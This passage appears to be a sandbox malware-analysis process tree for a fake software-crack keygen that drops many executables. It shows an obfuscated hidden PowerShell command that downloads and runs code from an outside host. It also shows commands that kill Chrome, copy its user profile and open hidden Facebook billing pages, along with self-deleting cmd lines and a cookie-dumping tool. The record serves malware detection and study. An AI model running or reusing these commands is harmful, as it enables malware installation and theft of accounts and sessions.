                                                                                                                                  1⤵
                                                                                                                                    PID:396
                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                    1⤵
                                                                                                                                      PID:336
                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                      1⤵
                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:680
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                        2⤵
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        • Modifies registry class
                                                                                                                                        PID:5092
                                                                                                                                    • C:\Windows\System32\rundll32.exe
                                                                                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:2936
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Temp2_R_wipe_clean_11_crack.zip\R_wipe_clean_11_crack.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Temp2_R_wipe_clean_11_crack.zip\R_wipe_clean_11_crack.exe"
                                                                                                                                        1⤵
                                                                                                                                          PID:4188
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                            2⤵
                                                                                                                                              PID:4568
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                                keygen-pr.exe -p83fsase3Ge
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5016
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                                                                                                                                  4⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:4444
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                                    5⤵
                                                                                                                                                      PID:4156
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                                  keygen-step-1.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:4940
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                  keygen-step-2.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Modifies system certificate store
                                                                                                                                                  PID:4540
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\C015.tmp.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\C015.tmp.exe"
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:2236
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\C015.tmp.exe"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:5364
                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                          timeout /T 10 /NOBREAK
                                                                                                                                                          6⤵
                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                          PID:5708
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                                      4⤵
                                                                                                                                                        PID:3556
                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                          ping 127.0.0.1
                                                                                                                                                          5⤵
                                                                                                                                                          • Runs ping.exe
                                                                                                                                                          PID:5076
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                                      keygen-step-3.exe
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:2196
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:5056
                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                            ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                            5⤵
                                                                                                                                                            • Runs ping.exe
                                                                                                                                                            PID:4148
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                        keygen-step-4.exe
                                                                                                                                                        3⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:5028
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                                                                                                                                                          4⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:4484
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                                                                                                                                            5⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Maps connected drives based on registry
                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:1000
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe" 1 3.1618235771.6074517b42268 101
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                              PID:4584
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\6FVN2IODXM\multitimer.exe" 2 3.1618235771.6074517b42268
                                                                                                                                                                7⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Checks for any installed AV software in registry
                                                                                                                                                                PID:4988
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\mlq3rshjitj\KiffApp1.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\mlq3rshjitj\KiffApp1.exe"
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:2952
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\fpibkjddcdl\wouruqaytj1.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\fpibkjddcdl\wouruqaytj1.exe" /VERYSILENT
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:3908
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-05DBI.tmp\wouruqaytj1.tmp
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-05DBI.tmp\wouruqaytj1.tmp" /SL5="$502AC,140785,56832,C:\Users\Admin\AppData\Local\Temp\fpibkjddcdl\wouruqaytj1.exe" /VERYSILENT
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:2904
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-276S7.tmp\apipostback.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-276S7.tmp\apipostback.exe" adan adan
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:5492
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\wGe02Gy9X.dll"
                                                                                                                                                                                11⤵
                                                                                                                                                                                  PID:6232
                                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                    regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\wGe02Gy9X.dll"
                                                                                                                                                                                    12⤵
                                                                                                                                                                                      PID:6548
                                                                                                                                                                                      • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                                        /s "C:\Users\Admin\AppData\Local\Temp\wGe02Gy9X.dll"
                                                                                                                                                                                        13⤵
                                                                                                                                                                                          PID:6624
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\wGe02Gy9X.dllHjbgxl7zW.dll"
                                                                                                                                                                                      11⤵
                                                                                                                                                                                        PID:6280
                                                                                                                                                                                        • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                          regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\wGe02Gy9X.dllHjbgxl7zW.dll"
                                                                                                                                                                                          12⤵
                                                                                                                                                                                            PID:6316
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                          11⤵
                                                                                                                                                                                            PID:6380
                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                              12⤵
                                                                                                                                                                                                PID:6356
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\n3gy0zzk0qz\Setup3310.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\n3gy0zzk0qz\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                        8⤵
                                                                                                                                                                                          PID:4648
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-C0DMI.tmp\Setup3310.tmp
                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-C0DMI.tmp\Setup3310.tmp" /SL5="$5004E,138429,56832,C:\Users\Admin\AppData\Local\Temp\n3gy0zzk0qz\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                            9⤵
                                                                                                                                                                                              PID:4836
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-EI1VK.tmp\Setup.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-EI1VK.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                10⤵
                                                                                                                                                                                                  PID:5824
                                                                                                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                      PID:5960
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                          PID:6756
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                            PID:5876
                                                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                            PID:5992
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                PID:5112
                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                    PID:6492
                                                                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe"
                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                  PID:6064
                                                                                                                                                                                                                • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\sskiper.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\sskiper.exe"
                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                    PID:6044
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1312811961.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1312811961.exe
                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                        PID:6452
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                            PID:6488
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\507117267.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\507117267.exe
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                            PID:6148
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\507117267.exe
                                                                                                                                                                                                                              "{path}"
                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                PID:7628
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\sskiper.exe & exit
                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                PID:2956
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                  ping 0
                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                  PID:8080
                                                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe"
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                PID:6036
                                                                                                                                                                                                                                • C:\ProgramData\3822527.exe
                                                                                                                                                                                                                                  "C:\ProgramData\3822527.exe"
                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                    PID:6596
                                                                                                                                                                                                                                  • C:\ProgramData\1566352.exe
                                                                                                                                                                                                                                    "C:\ProgramData\1566352.exe"
                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                      PID:6640
                                                                                                                                                                                                                                      • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                        "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                          PID:6844
                                                                                                                                                                                                                                      • C:\ProgramData\5735377.exe
                                                                                                                                                                                                                                        "C:\ProgramData\5735377.exe"
                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                          PID:6808
                                                                                                                                                                                                                                          • C:\ProgramData\5735377.exe
                                                                                                                                                                                                                                            "{path}"
                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                              PID:6336
                                                                                                                                                                                                                                            • C:\ProgramData\5735377.exe
                                                                                                                                                                                                                                              "{path}"
                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                PID:7432
                                                                                                                                                                                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Adsbrowser.exe
                                                                                                                                                                                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Adsbrowser.exe"
                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                              PID:6104
                                                                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                PID:6028
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-1E4U7.tmp\lylal220.tmp
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-1E4U7.tmp\lylal220.tmp" /SL5="$80084,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                    PID:416
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-QLLL1.tmp\ysAGEL.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-QLLL1.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                        PID:6148
                                                                                                                                                                                                                                                        • C:\Program Files\Microsoft Office 15\QPVOCVXYFN\irecord.exe
                                                                                                                                                                                                                                                          "C:\Program Files\Microsoft Office 15\QPVOCVXYFN\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                            PID:6520
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-3OFPN.tmp\irecord.tmp
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-3OFPN.tmp\irecord.tmp" /SL5="$20326,5922518,66560,C:\Program Files\Microsoft Office 15\QPVOCVXYFN\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                PID:6612
                                                                                                                                                                                                                                                                • C:\Program Files (x86)\i-record\i-record.exe
                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\i-record\i-record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                    PID:4344
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\9e-25f19-8ef-8b1b6-3d932430e7fcb\Paetaxegyqo.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\9e-25f19-8ef-8b1b6-3d932430e7fcb\Paetaxegyqo.exe"
                                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                                  PID:7064
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\b1-309d2-6d0-f3885-9939fe4a62664\Haejojaejogi.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\b1-309d2-6d0-f3885-9939fe4a62664\Haejojaejogi.exe"
                                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                                    PID:7036
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rde0zuqt.tah\gaooo.exe & exit
                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                        PID:7180
                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e0ppopub.z4l\jgjg_note8876.exe & exit
                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                          PID:7332
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\e0ppopub.z4l\jgjg_note8876.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\e0ppopub.z4l\jgjg_note8876.exe
                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                              PID:4448
                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m5qopqhx.nlg\google-game.exe & exit
                                                                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                                                                              PID:7060
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\m5qopqhx.nlg\google-game.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\m5qopqhx.nlg\google-game.exe
                                                                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                                                                  PID:4328
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\rundll32.exe" "C:\Program Files\patch.dll",patch
                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                      PID:6260
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x32n3v3o.eo5\askinstall31.exe & exit
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                    PID:5772
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\x32n3v3o.eo5\askinstall31.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\x32n3v3o.eo5\askinstall31.exe
                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                        PID:6932
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                            PID:5904
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                              PID:6420
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                                                                                            xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                              PID:4984
                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                                                                PID:7212
                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9cccc4f50,0x7ff9cccc4f60,0x7ff9cccc4f70
                                                                                                                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                                                                                                                    PID:7800
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,2379981495770496818,7573240707088497564,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1628 /prefetch:8
                                                                                                                                                                                                                                                                                                    18⤵
                                                                                                                                                                                                                                                                                                      PID:6972
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\clcld5pr.pah\toolspab1.exe & exit
                                                                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                                                                  PID:6484
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\clcld5pr.pah\toolspab1.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\clcld5pr.pah\toolspab1.exe
                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                      PID:7040
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\clcld5pr.pah\toolspab1.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\clcld5pr.pah\toolspab1.exe
                                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                                          PID:7916
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                PID:6020
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-EHQ1H.tmp\LabPicV3.tmp
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-EHQ1H.tmp\LabPicV3.tmp" /SL5="$60268,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                                    PID:4812
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-ABDOR.tmp\alpATCHInO.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-ABDOR.tmp\alpATCHInO.exe" /S /UID=lab214
                                                                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                                                                        PID:5572
                                                                                                                                                                                                                                                                                                        • C:\Program Files\7-Zip\PXIWUFRPYA\prolab.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\7-Zip\PXIWUFRPYA\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                            PID:2072
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-1FC0O.tmp\prolab.tmp
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-1FC0O.tmp\prolab.tmp" /SL5="$50506,575243,216576,C:\Program Files\7-Zip\PXIWUFRPYA\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                                                                PID:6800
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\14-b8218-b55-5db8b-566d8359998b4\ZHyshesucozhae.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\14-b8218-b55-5db8b-566d8359998b4\ZHyshesucozhae.exe"
                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                PID:6560
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\3c-88de4-1ec-44b90-aea26c0d538a6\Laemadatewae.exe
